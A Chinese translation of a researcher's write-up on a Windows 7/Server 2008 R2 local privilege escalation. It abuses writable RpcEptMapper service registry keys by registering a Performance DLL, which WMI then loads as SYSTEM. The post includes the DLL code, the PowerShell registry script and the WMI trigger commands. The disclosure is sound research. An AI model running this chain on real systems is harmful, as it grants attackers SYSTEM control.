Windows RpcEptMapper 服務注冊表權限配置不當導致本地提權
PrivescCheck是是著名PowerUp的一種更新和擴展版本,可以針對Windows系統的提權枚舉腳本,該腳本能夠枚舉出目標Windows系統中常見的Windows錯誤安全配置。如果你曾經在Windows 7或Windows Server 2008 R2上運行過此腳本,則可能會注意到重復出現奇怪的結果,可能會像我一樣認為它是一個誤報,但其實它是一個漏洞。
從今年年初開始,我開始研究特權升級枚舉腳本:PrivescCheck,使用此腳本,我只是希望能夠快速枚舉由系統配置錯誤引起的潛在漏洞,但實際上卻產生了一些意外的結果,比如它使我能夠在Windows 7 / Server 2008R2中找到很多零日漏洞!
假設一臺Windows設備打了完整的補丁,可能導致本地特權升級的主要安全問題之一是服務配置錯誤。如果普通用戶能夠修改現有服務,則就可以在本地/網絡服務甚至本地系統的上下文中執行任意代碼。以下就是一些最常見的漏洞:
1. 服務控制管理器(SCM):可以通過SCM向低特權用戶授予服務的特定權限。例如,普通用戶可以通過命令sc.exe start wuauserv啟動Windows更新服務,這要感謝SERVICE_START權限,這是一個非常常見的場景。但是,如果該用戶具有SERVICE_CHANGE_CONFIG,則他/她將能夠更改該服務的行為并使其運行任意可執行文件。
2.二進制權限:典型的Windows服務通常具有一個與其關聯的命令行。如果你可以修改相應的可執行文件或者如果你在父文件夾中具有寫入權限,那么你基本上可以在該服務的安全上下文中執行所需的任何操作。
3.未引用的路徑:此問題與Windows解析命令行的方式有關。比如帶有以下命令行的虛擬服務:C:\Applications\Custom service \service.exe /v。此命令行不明確,因此Windows將首先嘗試以Service \ service.exe作為第一個參數,/ v作為第二個參數執行C:\Applications\Custom.exe。如果一個普通用戶在C:\Applications中有寫權限,那么就可以通過復制一個惡意的可執行文件到C:\Applications\Custom.exe來劫持服務。這就是為什么路徑應該總是用引號括起來,特別是當它們包含空格的時候:"C:\Applications\Custom Service\service.exe" /v。
4.虛擬DLL劫持和可寫的%PATH%文件夾:即使在Windows的默認安裝中,某些內置服務也會嘗試加載不存在的DLL。這本身不是一個漏洞,但如果在%PATH%環境變量中列出的文件夾中有一個可以被普通用戶寫入,那么這些服務就可能被劫持。
這些潛在的安全問題中的每一個都已經在PowerUp中進行了相應的檢查,但是在另一種情況下,可能會發生配置錯誤:注冊表。通常,在創建服務時,可以通過使用內置命令sc.exe作為管理員調用服務控制管理器來進行。這將在HKLM \ SYSTEM \ CurrentControlSet \ Services中創建一個帶有服務名稱的子項,并將所有設置(命令行、用戶等)保存在該子項中。因此,如果這些設置由SCM管理,則默認情況下它們應該是安全的。
檢查注冊表權限
PowerUp的核心函數之一是Get-ModifiablePath。這個函數的基本思想是提供一種通用的方法來檢查當前用戶是否可以以任何方式修改文件或文件夾(例如:AppendData/AddSubdirectory)。它通過解析目標對象的ACL,然后將其與通過它所屬的所有組授予當前用戶帳戶的權限進行比較來實現。雖然這一原則最初是針對文件和文件夾實現的,但注冊表項也是安全對象。因此,可以實現一個類似的函數來檢查當前用戶是否有對注冊表項的寫權限。這正是我所做的,因此我添加了一個新的核心函數:Get-ModifiableRegistryPath。
然后,實現對與Windows服務相對應的可修改注冊表項的檢查就像在路徑Registry :: HKLM \ SYSTEM \ CurrentControlSet \ Services上調用Get-ChildItem PowerShell命令一樣容易。結果可以簡單地通過管道傳遞到新的Get-ModifiableRegistryPath命令,僅此而已。
當我需要實現一個新的檢查時,我使用Windows 10設備,并且我也使用同一臺設備進行初始測試,以查看是否一切都如預期的那樣工作。當代碼穩定后,我將測試擴展到其他幾個Windows vm上,以確保它仍與PowerShell v2兼容,并且仍然可以在較老的系統上運行。我最常用于此目的的操作系統是Windows 7,Windows 2008 R2和Windows Server 2012 R2。
當我在Windows 10的默認安裝上運行更新的腳本時,它沒有返回任何內容,這是我期望的結果。我在Windows 7上運行了它,看到的結果如下:

由于我沒想到腳本會產生任何結果,因此我首先認為這些都是誤報,并且在實施過程中有些操作失誤。不過我仔細看了一下結果,發現這些都不是誤報。
誤報嗎?
根據腳本的輸出,當前用戶對兩個注冊表項具有一定的寫入權限:
- HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
- HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
讓我們使用regedit GUI手動檢查RpcEptMapper服務的權限,我非常喜歡高級安全設置窗口的“有效權限”選項卡。你可以選擇任何用戶名或組名,然后立即查看授予該主體的有效權限,而無需分別檢查所有ACE。以下屏幕截圖顯示了低權限實驗室用戶帳戶的結果。

大多數權限是標準權限(例如:查詢值),但其中一項特別突出:創建子項。與此權限對應的通用名稱為AppendData / AddSubdirectory,該名稱正是腳本報告的名稱:
- Name : RpcEptMapper
- ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
- User : NT AUTHORITY\NetworkService
- ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
- IdentityReference : NT AUTHORITY\Authenticated Users
- Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
- Status : Running
- UserCanStart : True
- UserCanRestart : False
- Name : RpcEptMapper
- ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
- User : NT AUTHORITY\NetworkService
- ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
- IdentityReference : BUILTIN\Users
- Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
- Status : Running
- UserCanStart : True
- UserCanRestart : False
這到底是什么意思?這意味著我們不能僅僅修改ImagePath值。為此,我們需要WriteData / AddFile權限。相反,我們只能創建一個新的子項。

這是否意味著它確實是誤報?當然不會。
RTFM
至此,我們知道可以在HKLM \ SYSTEM \ CurrentControlSet \ Services \ RpcEptMapper下創建任意子項,但是不能修改現有子項和值。這些已經存在的子項是“參數”和“安全性”,它們在Windows服務中非常常見。

因此,想到的第一個問題是:是否還有其他預定義的子項,比如參數和安全性,我們可以利用它們來有效地修改服務的配置并以任何方式更改其行為?
為了回答這個問題,我最初的計劃是枚舉所有現有項并嘗試識別模式,這樣做的目的是查看哪些子項對服務的配置有意義。我開始考慮如何在PowerShell中實現它,然后對結果進行排序。但是,在這樣做之前,我想知道此注冊表結構是否已經記錄在案。因此,我用谷歌搜索類似于Windows服務配置注冊表站點:microsoft.com,這是第一個出現的結果。

乍看之下,文檔似乎并不詳盡和完整。考慮到標題,我希望看到某種樹形結構,其中詳細列出了定義服務配置的所有子項和值,但顯然不存在。

盡管如此,我還是快速瀏覽了每個段落。而且,我很快發現了關項字 “Performance” 和 “DLL”。在“Performance”小標題下,我們可以閱讀以下內容:
Performance:用于指定可選性能監視信息的項。該項下的值指定驅動程序性能DLL的名稱以及該DLL中某些導出的函數的名稱。你可以使用驅動程序INF文件中的AddReg項將值項添加到此子項中。
所以,理論上可以通過Performance子項在驅動程序服務中注冊DLL,以便監視其性能。好的,這真的很有趣! RpcEptMapper服務默認情況下不存在此項,因此看起來正是我們所需要的。但是,有一個小問題,該服務絕對不是驅動程序服務。無論如何,仍然值得嘗試,但我們首先需要有關此“性能監控”功能的更多信息。

注意:在Windows中,每個服務都有給定的類型。服務類型可以是以下值之一:SERVICE_KERNEL_DRIVER (1), SERVICE_FILE_SYSTEM_DRIVER (2), SERVICE_ADAPTER (4), SERVICE_RECOGNIZER_DRIVER (8), SERVICE_WIN32_OWN_PROCESS (16), SERVICE_WIN32_SHARE_PROCESS (32) or SERVICE_INTERACTIVE_PROCESS (256)。
在網上搜索了一番之后,我在文檔中找到了這個資源:創建應用程序的性能項。

首先,有一個很好的樹結構,列出了我們必須創建的所有項和值:
庫值可以包含DLL名稱或指向DLL的完整路徑;
Open、Collect和Close值允許你指定DLL應該導出的函數的名稱;
這些值的數據類型為REG_SZ(對于庫值,甚至為REG_EXPAND_SZ)。
如果你跟蹤本資源中包含的鏈接,你甚至可以找到這些函數的原型以及一些代碼示例:實現OpenPerformanceData。

我認為理論已經足夠,該開始編寫一些代碼了!
編寫概念驗證
由于我在整個文檔中都能收集到點點滴滴,因此編寫一個簡單的概念驗證DLL應該非常簡單。但是,我們仍然需要一個計劃!
當我需要利用某種DLL劫持漏洞時,我通常從一個簡單的自定義日志助手函數開始。此函數的目的是在每次調用文件時將一些關項信息寫入文件中。通常,我記錄當前進程和父進程的PID、運行進程的用戶名和相應的命令行。我還記錄了觸發此日志事件的函數的名稱,這樣,我就知道代碼的哪一部分被執行了。
啟動Visual Studio并創建一個新的“ C ++ Console App”項目。請注意,我本可以創建“動態鏈接庫(DLL)”項目,但我發現從控制臺應用程序開始實際上更容易。
以下是Visual Studio生成的初始代碼:

當然,那不是我們想要的。我們要創建一個DLL,而不是EXE,因此我們必須用DllMain替換main函數,你可以在《初始化DLL文檔》中找到此函數的框架代碼。

同時,我們還需要更改項目的設置,以指定輸出的編譯文件應該是DLL而不是EXE。為此,你可以打開項目屬性,在“General”部分,選擇“Dynamic Library (.dll)”作為“配置類型”。在標題欄的正下方,你還可以選擇“所有配置”和“所有平臺”,以便可以全局應用此設置。
接下來,添加我的自定義日志幫助器功能。
- #include // UNLEN + GetUserName
- #include // CreateToolhelp32Snapshot()
- #include void Log(LPCWSTR pwszCallingFrom){
- LPWSTR pwszBuffer, pwszCommandLine;
- WCHAR wszUsername[UNLEN + 1] = { 0 };
- SYSTEMTIME st = { 0 };
- HANDLE hToolhelpSnapshot;
- PROCESSENTRY32 stProcessEntry = { 0 };
- DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
- BOOL bResult = FALSE;
- // Get the command line of the current process
- pwszCommandLine = GetCommandLine();
- // Get the name of the process owner
- GetUserName(wszUsername, &dwPcbBuffer);
- // Get the PID of the current process
- dwProcessId = GetCurrentProcessId();
- // Get the PID of the parent process
- hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
- stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
- if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
- do {
- if (stProcessEntry.th32ProcessID == dwProcessId) {
- dwParentProcessId = stProcessEntry.th32ParentProcessID;
- break;
- }
- } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
- }
- CloseHandle(hToolhelpSnapshot);
- // Get the current date and time
- GetLocalTime(&st);
- // Prepare the output string and log the result
- dwBufSize = 4096 * sizeof(WCHAR);
- pwszBuffer = (LPWSTR)malloc(dwBufSize);
- if (pwszBuffer)
- {
- StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
- st.wHour,
- st.wMinute,
- st.wSecond,
- dwProcessId,
- dwParentProcessId,
- wszUsername,
- pwszCommandLine,
- pwszCallingFrom
- );
- LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
- free(pwszBuffer);
- }}
然后,我們可以使用在文檔中看到的三個函數來填充DLL。該文檔還指出,如果成功,它們應該返回ERROR_SUCCESS。

現在項目已經正確配置好了,DllMain已經實現了,我們有了一個日志輔助函數和三個必需的函數。不過還缺少最后一件事。如果我們編譯這段代碼,OpenPerfData, CollectPerfData和ClosePerfData將只作為內部函數可用,所以我們需要導出它們。這可以通過幾種方式實現。例如,你可以創建一個DEF文件,然后適當地配置項目。但是,我更喜歡使用__declspec(dllexport)關鍵字,特別是對于像這樣的小項目。這樣,我們只需要在源代碼的開始聲明這三個函數即可。
- extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
如果你想查看完整的代碼,請點此。這將生成我們的DLL文件:.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll
測試PoC
在繼續之前,我總是通過單獨測試來確保我的有效載荷是否正常工作,其主要目的是防止你在假設的調試階段陷入無路可走的境地。為此,我們可以簡單地使用rundll32.exe并將DLL的名稱和導出函數的名稱作為參數傳遞。
- C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

現在日志文件已被創建,如果打開它,我們可以看到兩個條目。第一個是在rundll32.exe加載DLL時編寫的。第二個是在調用OpenPerfData時編寫的。
- [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
- [21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
現在我們可以專注于實際漏洞了,并從創建所需的注冊表項和值開始。我們既可以使用reg.exe / regedit.exe手動執行此操作,也可以使用腳本以編程方式執行此操作。由于我在最初的研究中已經完成了手動步驟,因此我將展示一種使用PowerShell腳本執行相同操作的更簡潔的方法。此外,在PowerShell中創建注冊表項和值就像調用New-Item和New-ItemProperty一樣容易,不是嗎?

請求的注冊表訪問是不允許的,至于具體原因我還沒有進行研究,但我猜測是,當我們調用New-Item時,powershell.exe實際上會嘗試使用一些與我們沒有權限相對應的標志來打開父注冊表項。
無論如何,如果內置的cmdlet不能完成任務,我們總是可以跳到下一級直接調用DotNet函數。實際上,還可以在PowerShell中使用以下代碼創建注冊表項。
- [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
最后,我整理了以下腳本,以創建適當的項和值,等待用戶輸入,并最終通過清理所有內容來終止。
- $ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
- Write-Host "[*] Create 'Performance' subkey"
- [void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
- Write-Host "[*] Create 'Library' value"
- New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
- Write-Host "[*] Create 'Open' value"
- New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
- Write-Host "[*] Create 'Collect' value"
- New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
- Write-Host "[*] Create 'Close' value"
- New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
- Read-Host -Prompt "Press any key to continue"
- Write-Host "[*] Cleanup"
- Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
- Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
- Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
- Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
- [Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
最后一步,我們如何誘騙RPC端點映射器服務加載我們的Performace DLL?不幸的是,我沒有記錄下所有嘗試過的事情。但你可以使用WMI(Windows管理規范)查詢性能計數器,這一點也不奇怪。計數器類型類中顯示為屬性的CounterType限定符,在Win32_PerfFormattedData類中顯示為屬性的CookingType限定符。
因此,我首先使用以下命令枚舉了PowerShell中與Performace Data相關的WMI類。
- Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
而且,我看到我的日志文件幾乎是立即創建的!下面是文件的內容。
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
- [21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
我期望最多在RpcEptMapper服務的上下文中以網絡服務的形式執行任意代碼,但看起來我得到的結果比預期的要好得多。實際上,我在WMI服務本身的上下文中執行了任意代碼,該服務以本地系統運行。注意:如果我以NETWORK SERVICE的身份執行了任意代碼,那么我將僅僅從本地系統帳戶中獲得一個標記,這要感謝James Forshaw幾個月前發表的一篇文章《Sharing a Logon Session a Little Too Much》。
我還嘗試分別獲取每個WMI類,并觀察到完全相同的結果。
- Get-WmiObject Win32_Perf
- Get-WmiObject Win32_PerfRawData
- Get-WmiObject Win32_PerfFormattedData
總結
我不知道這個漏洞為何被忽視這么久了,一種解釋是,其他工具可能會在注冊表中尋找完整的寫入訪問權限,而在本例中,AppendData / AddSubdirectory實際上足夠了。關于“錯誤配置”本身,我假設注冊表項是為了特定的目的而這樣設置的,盡管我想不出用戶有任何類型的權限來修改服務的配置的具體場景。
我決定公開發表此漏洞的原因有兩個:第一個原因是,在我用GetModfiableRegistryPath函數更新PrivescCheck腳本的那一天,我實際上公開了它,最初我并沒有意識到這一點,那是幾個月前。第二個原因是影響很小。它需要本地訪問,并且只影響不再支持的舊版本的Windows(除非你購買了擴展支持……)此時,如果你仍然在使用Windows 7 / Server 2008 R2,而沒有首先在網絡中正確隔離這些設備,那么防止攻擊者獲得系統特權可能是你最不需要擔心的事情。
相關鏈接
- GitHub - PrivescCheck
- https://github.com/itm4n/PrivescCheck
- GitHub - PowerUp
- https://github.com/HarmJ0y/PowerUp
- Microsoft - “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree”
- https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
- Microsoft - Creating the Application’s Performance Key
- https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key
本文翻譯自:https://itm4n.github.io/windows-registry-rpceptmapper-eop/如若轉載,請注明原文地址。